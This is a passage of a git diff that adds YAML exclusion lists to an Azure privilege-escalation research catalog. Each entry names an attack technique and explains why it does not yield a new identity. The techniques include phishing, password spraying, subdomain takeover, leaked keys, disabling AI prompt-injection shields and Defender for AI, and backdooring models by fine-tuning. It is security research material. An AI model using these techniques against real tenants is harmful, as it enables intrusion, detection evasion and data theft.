src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#custom-container--build-service-supply-chain + technique: Custom container deploy / build-service tampering + reason: A credential or permission gain is documented, but it is deferred until the collector supplies springApps.builderBindings[{builderId,appId,deploymentId,consumesFutureBuild,managedIdentityId}]. + A poisoned buildpack reaches an app identity only if a future build consumes that builder. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#sql + technique: SQL introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#data-plane-escalation-azure-sql-fixed-server-roles-impersonate-db_owner + technique: T-SQL role escalation (fixed server roles, IMPERSONATE, db_owner) + reason: A credential or permission gain is documented, but it is deferred until azure_sql_principal target and + SQL data-plane permission/role evaluator for ALTER ANY SERVER ROLE, IMPERSONATE and db_owner. ARM RBAC does + not decide SQL login/role membership or EXECUTE AS rights. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversvirtualnetworkruleswrite--microsoftsqlserversoutboundfirewallruleswrite + technique: SQL VNet rules / outbound firewall rules + reason: Network reachability and exfiltration enablement; no identity gain (network_reachable condition of the SQL admin entries). diff --git a/src/privilege-escalation-paths-research/azure/_excluded_rbac_refresh_c.yaml b/src/privilege-escalation-paths-research/azure/_excluded_rbac_refresh_c.yaml new file mode 100644 index 0000000000..388f42d4d1 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_rbac_refresh_c.yaml @@ -0,0 +1,95 @@ +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#az-static-web-apps + technique: "Az Static Web Apps" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#storage-accounts--blobs + technique: "Storage Accounts & Blobs" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-stream-analytics-privesc.md#stream-analytics + technique: "Stream Analytics" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-stream-analytics-privesc.md#full-job-rewrite--managed-identity-attach-with-streamingjobswrite + technique: "Full-job rewrite and managed-identity attach with streamingjobs/Write" + reason: "Confused-deputy use of the job identity: Stream Analytics queries and outputs only read and write data through configured connectors, with no token disclosure or attacker-chosen code execution. Data access only." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-stream-analytics-privesc.md#msi-backed-confused-deputy-source-read-with-inputswrite + technique: "MSI-backed confused-deputy source read with inputs/Write" + reason: "Confused-deputy data read through the job's managed identity; no identity or token is gained." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-stream-analytics-privesc.md#azure-ml-udf-endpoint-repoint-with-functionswrite + technique: "Azure ML UDF endpoint repoint with functions/Write" + reason: "Data exfiltration and request relay to an attacker endpoint; JavaScript and C# UDFs are sandboxed and expose no identity token." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-stream-analytics-privesc.md#job-less-egress--credential-validation-proxy-with-locationssampleinputaction + technique: "Job-less egress / credential-validation proxy with locations/SampleInput/action" + reason: "Service-side proxy using credentials the caller supplies; no new identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#azure-synapse-analytics + technique: "Azure Synapse Analytics" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#open-the-workspace-firewall-to-reach-sql--dev-endpoints + technique: "Open the workspace firewall to reach SQL / dev endpoints" + reason: "Network reachability only; no new identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#grant-the-workspace-msi-sql-control-with-managedidentitysqlcontrolsettingswrite + technique: "Grant the workspace MSI SQL control with managedIdentitySqlControlSettings/write" + reason: "Enabler only: grants the workspace identity SQL control, which the source can use only through a separate execution primitive as that identity (see azure-synapse-bigdatapools-write-spark-poisoning)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#git-repo-poisoning-via-workspaceswrite + technique: "Git-repo poisoning via workspaces/write" + reason: "Supply-chain change that needs another principal to publish or run the poisoned artifacts; not derivable." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#azure-ai-video-indexer + technique: "Azure AI Video Indexer" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#restricted-viewer-access-token--private-insights + technique: Restricted-viewer access token - private insights + reason: A credential or permission gain is documented, but it is deferred until azure_video_indexer_role target + for short-lived Restricted Viewer token. The token is scoped to private insights and cannot download original + media. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#permission-boundary + technique: "Permission boundary" + reason: "Background section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#arc-extension-token-operations + technique: "Arc extension token operations" + reason: "Data-plane Video Indexer tokens for the Arc extension; data access only, no Azure or Entra identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#virtual-desktop + technique: "Virtual Desktop" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#virtual-machines--network + technique: "Virtual Machines & Network" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesloginasadminaction + technique: "Microsoft.Compute/virtualMachines/loginAsAdmin/action" + reason: "Covered by azure-vm-entra-login." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesread-microsoftcomputevirtualmachineswrite-microsoftcomputevirtualmachinesextensionsread-microsoftcomputevirtualmachinesextensionswrite + technique: "VMAccess password reset (virtualMachines read/write + extensions read/write)" + reason: "Covered by azure-vm-extensions-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#point-to-site-vpn-root-certificate-injection-durable-vnet-access + technique: "Point-to-Site VPN root-certificate injection" + reason: "Network access and persistence only; no new identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#virtual-machines + technique: "Virtual Machines" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#vm-extensions + technique: "VM Extensions" + reason: "Covered by azure-vm-extensions-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#relevant-vm-extensions + technique: "Relevant VM extensions" + reason: "Covered by azure-vm-extensions-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#vm-applications + technique: "VM Applications" + reason: "Covered by azure-vm-gallery-application-install." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#user-data + technique: "User data" + reason: "User data is not executed by the platform; only guest software that reads it could act on it, which is not derivable." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#custom-data + technique: "Custom data" + reason: "Custom data runs only at provisioning; the new-VM case is covered by azure-vm-create-with-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#run-command + technique: "Run Command" + reason: "Covered by azure-vm-runcommand-action." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-managed-identity-token-privesc.md#virtual-machines + technique: "Virtual Machines" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-managed-identity-token-privesc.md#managed-identity-access-from-inside-the-vm + technique: "Managed Identity Access From Inside the VM" + reason: "Background section. IMDS token issuance is the outcome of the VM code-execution entries." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#azure-vmware-solution + technique: "Azure VMware Solution" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-services/vms/README.md#goalstate--extensionsconfig + technique: Inspect Azure WireServer GoalState or ExtensionsConfig for extension secrets + reason: The page describes possible secrets in extension-specific configuration, but an Azure RBAC snapshot cannot establish that a guest process can reach WireServer, that a configured extension exposes a usable secret at runtime, or which principal that secret authenticates. The request requires an existing in-guest foothold; RBAC paths to guest execution and the VM's attached managed identities are covered in virtual_machines.yaml. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_sweep.yaml b/src/privilege-escalation-paths-research/azure/_excluded_sweep.yaml new file mode 100644 index 0000000000..af15cff693 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_sweep.yaml @@ -0,0 +1 @@ +# Reviewed privilege-escalation sweep exclusions. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_unauth_s07.yaml b/src/privilege-escalation-paths-research/azure/_excluded_unauth_s07.yaml new file mode 100644 index 0000000000..c5d2735738 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_unauth_s07.yaml @@ -0,0 +1,186 @@ +# Verified exclusion proposals from pa-az-post-persist-s07.yaml. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-blob-public-unauth.md#static-website-web-exposure--leaked-secrets + source_revision: 0b36331 + technique: Public static website $web exposes embedded secrets + reason: A public static-site setting and $web publicAccess:null do not identify any secret or owner. The exact served file + bytes, anonymous HTTP response, credential issuer and present validity are needed; a storage configuration snapshot cannot + establish that join. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-blob-public-unauth.md#anonymous-blob-listing-and-downloads + source_revision: 0b36331 + technique: Anonymous blob listing/download leads to stored credential discovery + reason: Container publicAccess permits anonymous read or listing, but whether a blob contains a usable credential and who + owns it depends on blob bytes and current issuer state. Blob-level access also requires the exact blob name. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cognitive-services-openai-unauth.md#service-api-keys + source_revision: 0b36331 + technique: Exposed Cognitive Services/OpenAI API key + reason: The regex only finds candidate text in external repositories, logs or client assets. The exact key bytes, exposed + location, Cognitive Services account, enabled local authentication and current key validity are needed to establish service + authority. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cognitive-services-openai-unauth.md#azure-ai-search-keys + source_revision: 0b36331 + technique: Exposed Azure AI Search query/admin key + reason: An AI Search key grants query or admin data-plane access only after the exposed bytes are matched to an account + and current key type. External artifact content and live validity are absent from the configuration snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cognitive-services-openai-unauth.md#prompt-injection-against-a-public-ai-chatbot-unauth-via-the-app + source_revision: 0b36331 + technique: Public RAG prompt injection or unmapped permitted-groups returns protected content + reason: The page describes protected-content disclosure through application and RAG behavior. An actual public response, + prompt/tool behavior, connected content, Search permitted-groups mapping and app identity authorization are needed; mere + public chatbot configuration does not prove disclosure. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md#anonymous-pull-and-known-repository-enumeration-oci-registry-v2-api + source_revision: 0b36331 + technique: Anonymous pull of image with embedded credentials + reason: Anonymous pull is only image read. The exact public repository/tag, fetched layer bytes, embedded credential owner + and present validity must be verified before inferring another identity. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md#registry-usernamepassword-or-tokens + source_revision: 0b36331 + technique: Leaked ACR admin/repository/identity credential + reason: An ACR hostname or credential-shaped string does not grant access. The exposed artifact, accepted admin/repository/identity + credential and its current registry scope must be verified outside the IAM snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md#docker-registry-auth-configuration + source_revision: 0b36331 + technique: Leaked Docker auth or identitytoken configuration + reason: Docker auth is base64 encoding and identitytoken is bearer material. Artifact accessibility, decoded value, registry + match, token scope and present validity are runtime/content facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md#basic-information + source_revision: 0b36331 + technique: Device-code phishing yields victim access/refresh tokens + reason: Obtaining a victim token requires the victim to enter the attacker code and approve sign-in, plus policy and consent + success. Victim interaction and issued token are not configuration-granted permissions of a source principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md#authorization-code-handoff-phishing + source_revision: 0b36331 + technique: Victim returns first-party authorization redirect code + reason: The victim must return a live redirect code. Client, redirect URI, PKCE or client-secret context, expiration, device + policy and token redemption all depend on a particular OAuth transaction and victim behavior. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md#oauth-authorization-response-codes + source_revision: 0b36331 + technique: Code-bearing callback URL leaked in accessible artifact + reason: An artifact may contain a code-shaped callback URL, but a live authorization transaction, matching client/redirect + and PKCE or confidential-client proof are required. Callback log bytes and redemption state are not inventory facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-devops-unauth.md#secrets-in-public-repos-pipeline-yaml-logs--artifacts + source_revision: 0b36331 + technique: Public DevOps project repository/build artifacts expose live secret + reason: A public DevOps project exposes source or build data, not automatically a credential. Exact repository/log/artifact + bytes, anonymous availability, issuer ownership, scope and current validity must be checked. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-devops-unauth.md#azure-devops-pats + source_revision: 0b36331 + technique: Leaked Azure DevOps PAT + reason: PAT syntax does not show that an anonymously accessible artifact contains a live token. Token owner, organization, + scopes, expiry and policy state require the actual value and validation. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-devops-unauth.md#legacycontextual-pat-assignments + source_revision: 0b36331 + technique: Leaked legacy or contextual DevOps PAT + reason: The contextual/legacy regex is only another way to find a PAT candidate. The exact exposed value, owner, organization, + scopes and current validity are required, as for the modern PAT record. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-event-grid-messaging-unauth.md#service-api-keys + source_revision: 0b36331 + technique: Exposed messaging service API key + reason: A candidate API-key string does not prove a messaging credential. Artifact bytes, matching service endpoint/rule, + enabled key authentication and current validity are required. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-event-grid-messaging-unauth.md#shared-key-connection-strings + source_revision: 0b36331 + technique: Exposed Event Grid/Event Hubs shared-key connection string + reason: An Event Grid or Event Hubs endpoint is public metadata. The accessible connection-string bytes, matching authorization + rule, current key and rule rights are needed to prove service authority. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-event-grid-messaging-unauth.md#azure-sas-urlstokens + source_revision: 0b36331 + technique: Exposed messaging SAS URL/token + reason: A SAS-looking URL or token is only a candidate. Signature, resource, permission flags, expiry and service-specific + validation must be checked on the exact exposed value. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-iot-hub-dps-unauth.md#shared-key-connection-strings + source_revision: 0b36331 + technique: Leaked IoT Hub or DPS shared key + reason: A HostName or ID Scope does not authenticate to IoT Hub or DPS. Exposed key bytes, policy/device scope and present + acceptance must be verified for a particular artifact. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-iot-hub-dps-unauth.md#enrollment-group-keys-and-device-certificates + source_revision: 0b36331 + technique: Leaked DPS enrollment group key or trusted device certificate/private key + reason: An enrollment-group or device identity requires accepted symmetric key material or a trusted X.509 chain with private + key. The exact material, enrollment configuration and live acceptance are content/runtime facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-keyvault-unauth.md#entra-application-secrets-or-identity-tokens + source_revision: 0b36331 + technique: Leaked Entra client secret usable against Key Vault + reason: The page requires an actual valid application secret or private key, mapping to a service principal, vault data-plane + authorization and permitted network path. A regex hit or vault name supplies none of those. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-keyvault-unauth.md#bearer-identity-tokens + source_revision: 0b36331 + technique: Leaked bearer token usable against Key Vault + reason: JWT shape does not establish signature, audience, expiry or bearer possession. The exact token bytes and vault authorization + at redemption time are required to identify a gained subject. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-monitor-alert-phishing.md#azure-monitor-alert-rule + source_revision: 0b36331 + technique: Microsoft-authenticated Monitor alert email used as phishing lure + reason: The attacker creates an alert in their own subscription; victim-tenant privileges arise only if a recipient follows + the phishing payload and completes a separate authentication flow. Email delivery and victim behavior are runtime facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#trusted-first-party-authorization-code-phishing + source_revision: 0b36331 + technique: First-party authorization-code handoff and optional DRS device registration + reason: This first-party code handoff is the same victim-mediated OAuth mechanism as the device-code page, with optional + DRS registration. A returned redeemable code, matching client/redirect/PKCE and device policy are transaction-specific + facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#oauth-authorization-response-codes + source_revision: 0b36331 + technique: Leaked code-bearing callback URL + reason: 'This repeats the leaked callback-code scenario on the device-code page. A code-shaped URL is not enough: transaction + lifetime, matching client/redirect and PKCE or client-secret proof determine token redemption.' +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md#password-spray + source_revision: 0b36331 + technique: Guess weak Entra/M365 user password + reason: A successful password spray depends on a guessed current password, account state, MFA and Conditional Access at + authentication time. None is a permission or trust grant held by the attacker in a read-only snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-power-pages-unauth.md#read-dataverse-records-anonymously-via-the-portal-web-api + source_revision: 0b36331 + technique: Anonymous Dataverse read may disclose stored credentials + reason: Anonymous Dataverse GET can expose records, but the alleged credential pivot requires the actual returned row or + attachment bytes, credential owner and present validity. Portal table permission alone proves no credential. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-power-pages-unauth.md#escalate-anonymous--authenticated-via-open-registration + source_revision: 0b36331 + technique: Open registration grants default Authenticated Users web role + reason: Open registration can grant the portal-local Authenticated Users web role, but the gained table rights require the + site setting, successful signup and current web-role/table-permission associations. The catalog snapshot has no portal-account + or role mapping. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md#shared-key-connection-strings + source_revision: 0b36331 + technique: Leaked Service Bus SharedAccessKey connection string + reason: A Service Bus connection string is usable only if an externally accessible artifact contains the exact current key + for an enabled authorization rule. Namespace configuration alone does not show that leak. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md#azure-sas-urlstokens + source_revision: 0b36331 + technique: Leaked Service Bus SAS URL/token + reason: A Service Bus SAS requires the exact token, signature, entity URI, rights and unexpired lifetime; a regex or endpoint + cannot prove accepted delegated authority. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md#sql-connection-credentials + source_revision: 0b36331 + technique: Leaked SQL password + reason: The exact SQL password, database principal, firewall route and current database grants are required. The page explicitly + says Allow Azure services does not remove SQL authentication. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md#anonymous-blob-reads-and-listings + source_revision: 0b36331 + technique: Public container blob read/list exposes credential-containing blob + reason: The storage page describes the same public blob-read mechanism as the public-blob page. Account/container flags + prove only read availability; actual blob bytes and credential validity are required for escalation. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md#azure-sas-urlstokens + source_revision: 0b36331 + technique: Leaked Storage SAS + reason: A Storage SAS grants only its signed data-plane rights when the exact exposed token is valid and unexpired. The + configuration snapshot does not contain exposed token bytes or proof of acceptance. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md#storage-account-keys + source_revision: 0b36331 + technique: Leaked Storage AccountKey + reason: A public storage account name is not a key. The exact leaked AccountKey, allowSharedKeyAccess state, artifact accessibility + and current key validity are required. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-subdomain-takeover-unauth.md#the-dangling-cname-lifecycle + source_revision: 0b36331 + technique: Reclaim dangling Azure hostname through attacker subscription + reason: A dangling CNAME can lead to domain content control only after a particular Azure name is actually reclaimable. + Live DNS, reservation/verification locks, region and successful registration are external state not proven by victim configuration. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-subdomain-takeover-unauth.md#impact + source_revision: 0b36331 + technique: Takeover of registered OAuth redirect subdomain captures authorization response + reason: A domain claim does not itself grant an OAuth token. The exact registered redirect URI, live victim authorization + response, client/redirect/PKCE or secret constraints and successful redemption must be observed. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-subdomain-takeover-unauth.md#impact + source_revision: 0b36331 + technique: Taken-over sibling subdomain receives domain-scoped session cookies + reason: Session authority requires a successfully claimed sibling host, a cookie Domain covering it, victim browser traffic + and an unexpired reusable session cookie. Those host/browser/runtime facts are not in the Azure snapshot. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_verify_azure.yaml b/src/privilege-escalation-paths-research/azure/_excluded_verify_azure.yaml new file mode 100644 index 0000000000..d6bb06cad9 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_verify_azure.yaml @@ -0,0 +1,1951 @@ +# Azure permission-heading verification at book revision a66f094ede. +- source: src/pentesting-cloud/azure-security/az-persistence/az-ai-foundry-persistence.md#microsoftcognitiveservicesaccountsopenaifine-tuneswrite--model-backdoor--poison-via-fine-tuning + technique: Microsoft.CognitiveServices/accounts/OpenAI/fine-tunes/write — model backdoor / poison via fine-tuning + source_revision: a66f094ede + reason: Fine-tuning and deploying poisoned model weights changes downstream model responses and costs; it does not by itself grant + the Azure/Entra identity of the consuming application. +- source: src/pentesting-cloud/azure-security/az-persistence/az-redis-persistence.md#key-independent-persistence-with-microsoftcacheredisaccesspolicyassignmentswrite + technique: Key-independent persistence with Microsoft.Cache/redis/accessPolicyAssignments/write + source_revision: a66f094ede + reason: This grants an attacker-controlled Entra identity a Redis data-plane policy, not the permissions of a different Azure/Entra + principal; Redis data access is outside this principal-to-principal catalog. +- source: src/pentesting-cloud/azure-security/az-persistence/az-redis-persistence.md#continuous-exfil--persistence-with-microsoftcacheredislinkedserverswrite + technique: Continuous exfil + persistence with Microsoft.Cache/redis/linkedServers/write + source_revision: a66f094ede + reason: Geo-replication copies cached data to another Premium cache; it gives data exfiltration and persistence, not another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md#server-dns-alias-hijack-microsoftsqlserversdnsaliasesacquireaction + technique: Server DNS alias hijack (Microsoft.Sql/servers/dnsAliases/acquire/action) + source_revision: a66f094ede + reason: Moving a SQL DNS alias can harvest SQL-auth credentials when clients reconnect, but that victim interaction and credential + content are not a deterministic Azure/Entra identity edge. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md#tde-protector-repoint-kill-switch-microsoftsqlserversencryptionprotectorwrite + technique: TDE-protector repoint kill-switch (Microsoft.Sql/servers/encryptionProtector/write) + source_revision: a66f094ede + reason: Repointing the TDE key creates a database outage or ransom lever when the key is revoked; it does not grant another principal's + permissions. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#microsoftcognitiveservicesaccountsraipolicieswrite--deploymentswrite--disable-content-filters--prompt-injection-shields + technique: Microsoft.CognitiveServices/accounts/raiPolicies/write (+ deployments/write) — disable content filters / prompt-injection + shields + source_revision: a66f094ede + reason: Author/modify an RAI policy that lowers or disables content filters and — critically — Prompt Shields / jailbreak and indirect-prompt-injection + detection, then attach it to a deployment. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#microsoftcognitiveservicesaccountsdefenderforaisettingswrite--disable-defender-for-ai-detection-evasion + technique: Microsoft.CognitiveServices/accounts/defenderForAISettings/write — disable Defender for AI (detection evasion) + source_revision: a66f094ede + reason: Turn off Microsoft Defender for Cloud's threat protection for the AI account, disabling prompt-injection/jailbreak/anomalous-access + alerts before running other techniques — this blinds the primary detection. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#microsoftcognitiveservicesaccountsdeploymentswrite--deploy-a-model-cost-abuse--inference-surface-creation + technique: Microsoft.CognitiveServices/accounts/deployments/write — deploy a model (cost abuse + inference-surface creation) + source_revision: a66f094ede + reason: Create a new model deployment on the victim account. The section does not establish control of another Azure/Entra principal + from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#microsoftstoragestorageaccountsblobservicescontainersblobsread + technique: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read + source_revision: a66f094ede + reason: Readable blobs, including Terraform state and .env files, can hold Entra credentials; a blob-read grant + alone does not establish the blob content, credential validity, or mapped principal. A complete content scan + and identity join are needed. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#microsoftstoragestorageaccountsblobservicescontainersblobswrite + technique: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write + source_revision: a66f094ede + reason: Blob poisoning that runs as a privileged consumer is modelled by azure-storage-blob-poisoning-consumer and the Function App + content-storage entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-bot-service-post-exploitation.md#microsofthealthbothealthbotsadminconversationlogsexportaction + technique: Microsoft.HealthBot/healthBots/Admin/ConversationLogs/Export/Action + source_revision: a66f094ede + reason: 'bulk sensitive-data disclosure: export one Healthcare Agent''s historical conversation logs as CSV containing every user + utterance, every bot response, conversation identifiers, and configured user. The section does not establish control of another + Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdblocationsrestorabledatabaseaccountsrestoreaction-restore-to-attacker-account-exfil + technique: Microsoft.DocumentDB/locations/restorableDatabaseAccounts/restore/action (restore-to-attacker-account exfil) + source_revision: a66f094ede + reason: The control-plane copy creates an attacker-readable replica of Cosmos documents; it does not grant another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsdatatransferjobswrite-server-side-copy-out + technique: Microsoft.DocumentDB/databaseAccounts/dataTransferJobs/write (server-side copy-out) + source_revision: a66f094ede + reason: The control-plane copy creates an attacker-readable replica of Cosmos documents; it does not grant another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsread--microsoftdocumentdbdatabaseaccountswrite + technique: Microsoft.DocumentDB/databaseAccounts/read && Microsoft.DocumentDB/databaseAccounts/write + source_revision: a66f094ede + reason: 'Full control of the account resource: reading config exposes regions/consistency/network rules; writing lets you relax the + IP firewall (ipRules) or disable disableKeyBasedMetadataWriteAccess /. The section does not establish control of another Azure/Entra + principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainersread--microsoftdocumentdbdatabaseaccountssqldatabasescontainerswrite + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write + source_revision: a66f094ede + reason: Alter container definitions (indexing, TTL, throughput, partition key via recreate). The section does not establish control + of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabaseswrite--microsoftdocumentdbdatabaseaccountssqldatabasesread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read + source_revision: a66f094ede + reason: Create or delete SQL databases in the account. The section does not establish control of another Azure/Entra principal from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainersuserdefinedfunctionswrite--microsoftdocumentdbdatabaseaccountssqldatabasescontainersuserdefinedfunctionsread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read + source_revision: a66f094ede + reason: The code runs inside the Cosmos data engine against documents, with no Azure managed-identity token or other principal inherited. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainersstoredprocedureswrite--microsoftdocumentdbdatabaseaccountssqldatabasescontainersstoredproceduresread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read + source_revision: a66f094ede + reason: The code runs inside the Cosmos data engine against documents, with no Azure managed-identity token or other principal inherited. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainerstriggerswrite--microsoftdocumentdbdatabaseaccountssqldatabasescontainerstriggersread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read + source_revision: a66f094ede + reason: The code runs inside the Cosmos data engine against documents, with no Azure managed-identity token or other principal inherited. +- source: 